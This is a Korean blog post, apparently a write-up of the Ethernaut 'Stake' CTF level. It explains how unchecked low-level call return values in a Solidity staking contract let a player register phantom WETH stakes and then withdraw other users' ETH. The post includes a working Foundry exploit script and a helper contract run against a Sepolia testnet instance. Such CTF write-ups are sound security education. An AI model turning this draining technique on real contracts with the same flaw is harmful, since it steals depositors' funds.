티스토리 뷰
1. 문제
Stake is safe for staking native ETH and ERC20 WETH, considering the same 1:1 value of the tokens. Can you drain the contract?
To complete this level, the contract state must meet the following conditions:
- The Stake contract's ETH balance has to be greater than 0.
- totalStaked must be greater than the Stake contract's ETH balance.
- You must be a staker.
- Your staked balance must be 0.
Things that might be useful:
- ERC-20 specification.
- OpenZeppelin contracts
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Stake {
uint256 public totalStaked;
mapping(address => uint256) public UserStake;
mapping(address => bool) public Stakers;
address public WETH;
constructor(address _weth) payable{
totalStaked += msg.value;
WETH = _weth;
}
function StakeETH() public payable {
require(msg.value > 0.001 ether, "Don't be cheap");
totalStaked += msg.value;
UserStake[msg.sender] += msg.value;
Stakers[msg.sender] = true;
}
function StakeWETH(uint256 amount) public returns (bool){
require(amount > 0.001 ether, "Don't be cheap");
(,bytes memory allowance) = WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender,address(this)));
require(bytesToUint(allowance) >= amount,"How am I moving the funds honey?");
totalStaked += amount;
UserStake[msg.sender] += amount;
(bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));
Stakers[msg.sender] = true;
return transfered;
}
function Unstake(uint256 amount) public returns (bool){
require(UserStake[msg.sender] >= amount,"Don't be greedy");
UserStake[msg.sender] -= amount;
totalStaked -= amount;
(bool success, ) = payable(msg.sender).call{value : amount}("");
return success;
}
function bytesToUint(bytes memory data) internal pure returns (uint256) {
require(data.length >= 32, "Data length must be at least 32 bytes");
uint256 result;
assembly {
result := mload(add(data, 0x20))
}
return result;
}
}
2. 문제 해결 조건 확인
문제 해결에 필요한 조건들은 다음과 같습니다.
- Stake 컨트랙트의 ETH 잔액이 0보다 커야할 것
- totalStaked 상태값이 Stake 컨트랙트의 ETH 잔액보다 커야할 것
- Stakers[player]의 값이 true가 되야할 것
- UserStake[player]의 값이 0이어야 할 것
뭔가 말이 앞뒤가 하나도 안맞는 것 같고 '내가 난독증인가?' 싶으실수도 있겠지만, 이게 풀어보면 정말 저렇게 됩니다... 그럼 우선 스마트 컨트랙트 등짝(취약점)부터 살펴볼까요?
3. 취약점
스마트 컨트랙트에서는 두 개의 취약점을 발견할 수 있습니다.
1) StakeWETH
function StakeWETH(uint256 amount) public returns (bool){
require(amount > 0.001 ether, "Don't be cheap");
(,bytes memory allowance) = WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender,address(this)));
require(bytesToUint(allowance) >= amount,"How am I moving the funds honey?");
totalStaked += amount;
UserStake[msg.sender] += amount;
(bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));
Stakers[msg.sender] = true;
return transfered;
}
StakeWETH 함수의 동작 과정은 다음과 같습니다.
- amount가 0.001 이더보다 큰지 확인합니다.
- 호출자가 Stake에게 사용을 허락한 WETH의 양, allowance를 call 함수를 통해 선택자 0xdd62ed3e를 사용하여 읽어들입니다. (call보다는 staticcall을 사용하는 것이 좋아보이네요)
- allowance가 amount보다 크거나 같은지 확인합니다.
- totalStaked 상태값과 호출자의 UserStake 상태값을 갱신합니다.
- call 함수를 통해 선택자 0x23b872dd를 사용하여 WETH 컨트랙트의 transferFrom 함수를 호출합니다.
- 호출자의 Stakers 상태값을 true로 설정합니다.
- 저수준 함수 호출 결과를 반환합니다.
앞서 다른 문제들을 풀고 오셨다면 무엇이 잘못되었는지 한 눈에 확인하실 수 있습니다. 바로바로 저수준 함수 호출 결과를 제대로 확인하지 않고 반환값으로 넘겨줘버린 것입니다.
(bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));
만약 호출자의 WETH 잔액이 부족하여 transferFrom 함수 호출이 실패했다면 transfered 값은 false가 될 것이고, 잔액이 충분하여 성공한 경우에는 true가 될 것 입니다. 일반적으로 transferFrom 함수의 실행이 실패하면 revert되는 것이 맞지만, call 함수는 이처럼 전체 실행을 revert 시키지 않고 성공 여부를 나타내는 불리언 값을 반환합니다. 따라서 이 값을 확인하고 적절한 예외 처리를 해줘야만 합니다.
결과적으로, 호출자의 잔액이 부족하더라도 StakeWETH를 호출하면 다음과 같은 상태 변경이 일어납니다.
- totalStaked 상태값이 amount 만큼 증가
- UserStake[msg.sender] 상태값이 amount 만큼 증가
- Stakers[msg.sender]가 true로 설정
이를 활용하면 우선 문제 해결 조건에서 다음 두 가지 조건을 만족시킬 수 있습니다.
- totalStaked 상태값이 Stake 컨트랙트의 ETH 잔액보다 커야할 것
- Stakers[player]의 값이 true가 되야할 것
2) Unstake
function Unstake(uint256 amount) public returns (bool){
require(UserStake[msg.sender] >= amount,"Don't be greedy");
UserStake[msg.sender] -= amount;
totalStaked -= amount;
(bool success, ) = payable(msg.sender).call{value : amount}("");
return success;
}
Unstake 함수의 동작 과정은 다음과 같습니다.
- 호출자의 UserStake 상태값이 amount 보다 크거나 같은지 확인합니다.
- 호출자의 UserStake와 totalStaked 상태값을 갱신합니다.
- call 함수를 통해 호출자에게 amount 만큼의 이더를 전송합니다.
- 저수준 함수 호출 결과를 반환합니다.
이 함수는 앞서 살펴본 StakeWETH 함수와 상황이 비슷합니다. call 함수의 반환값에 대한 적절한 예외 처리를 해주지 않고 있네요. 이렇게 되면 무슨 일이 발생할까요?
내 돈이 아닌데도 마음대로 인출할 수 있게 됩니다! 그리하여 StakeWETH 함수를 통해 조작한 UserStake 값을 0으로 만들 수 있게 됩니다.
- UserStake[player]의 값이 0이어야 할 것
그렇다면 남은 하나의 조건 'Stake 컨트랙트의 ETH 잔액이 0보다 커야할 것'은 어떻게 해야 할까요? 내 UserStake 값이 0이 될 정도로만 빼고, 남이 넣어 놓은 돈은 컨트랙트에 조금 냄겨놓으면 될 것 같습니다.
4. 공격 시나리오
앞에서 다룬 내용을 종합해보면 다음과 같은 공격 시나리오를 구상할 수 있습니다.
- Bob이 StakeETH 함수를 호출하여 A + 1 만큼의 이더를 스테이킹합니다.
- Stake 컨트랙트의 잔액 = A + 1
- totalStaked = A + 1
- UserStake[Bob] = A + 1
- Stakers[Bob] = true
- 공격자는 StakeWETH 함수를 호출하여 A만큼의 WETH를 스테이킹합니다. 공격자는 실제로 WETH를 가지고 있지 않습니다. 그러나 스테이킹은 성공합니다.
- Stake 컨트랙트의 잔액 = A + 1
- totalStaked = 2A + 1
- UserStake[Bob] = A + 1, UserStake[player] = A
- Stakers[Bob] = true, Stakers[player] = true
- 공격자가 Unstake 함수를 호출하여 A만큼의 이더를 인출합니다.
- Stake 컨트랙트의 잔액 = 1
- totalStaked = A + 1
- UserStake[Bob] = A + 1, UserStake[player] = 0
- Stakers[Bob] = true, Stakers[player] = true
- player의 잔액에 A만큼의 이더 추가
이 공격 시나리오가 실행되고 나면 문제 해결을 위한 네 가지 조건이 모두 만족됩니다.
5. 공격 시나리오 실행
Bob에 해당하는 개체는 다음과 같이 컨트랙트로 정의했습니다.
contract DummyStaker {
Stake public stakeContract;
constructor(address _stakeContract) {
stakeContract = Stake(_stakeContract);
}
function stakeETH() external payable {
uint256 amount = (0.001 ether + 1) + 1;
if (msg.value != amount) revert();
stakeContract.StakeETH{value: amount}();
}
}
foundry 스크립트는 공격 시나리오에 따라 다음과 같이 작성하였습니다.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.24;
import {Script, console} from "forge-std/Script.sol";
import {Stake, DummyStaker} from "../src/31.Stake.sol";
contract StakeScript is Script {
function setUp() public {}
function run() public {
uint256 privateKey = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(privateKey);
Stake target = Stake(0xf246A3869d3fa54A70bb8868F8d1144A08785FBB);
address WETH = target.WETH();
uint256 amount = 0.001 ether + 1;
// Stake ETH using DummyStaker
DummyStaker dummyStaker = new DummyStaker(address(target));
dummyStaker.stakeETH{value: amount + 1}();
// Approve WETH to Stake contract
(bool ok,) = WETH.call(abi.encodeWithSignature("approve(address,uint256)", address(target), type(uint256).max));
require(ok, "Failed to approve");
// Stake WETH directly
target.StakeWETH(amount);
// Unstake ETH
target.Unstake(amount);
vm.stopBroadcast();
}
}
$ forge script script/31.Stake.s.sol --rpc-url sepolia --broadcast -vvvv
스크립트를 실행하고 인스턴스를 제출하면 성공!
전체 코드
'Solidity > Hacking' 카테고리의 다른 글
Ethernaut 문제 풀이 및 키워드 정리 (0) | 2024.06.27 |
---|---|
[Ethernaut] 30. HigherOrder (0) | 2024.06.27 |
[Damn Vulnerable DeFi] Climber (0) | 2024.04.11 |
[Damn Vulnerable DeFi] Backdoor (0) | 2024.03.02 |
[Damn Vulnerable DeFi] Free Rider (0) | 2024.03.01 |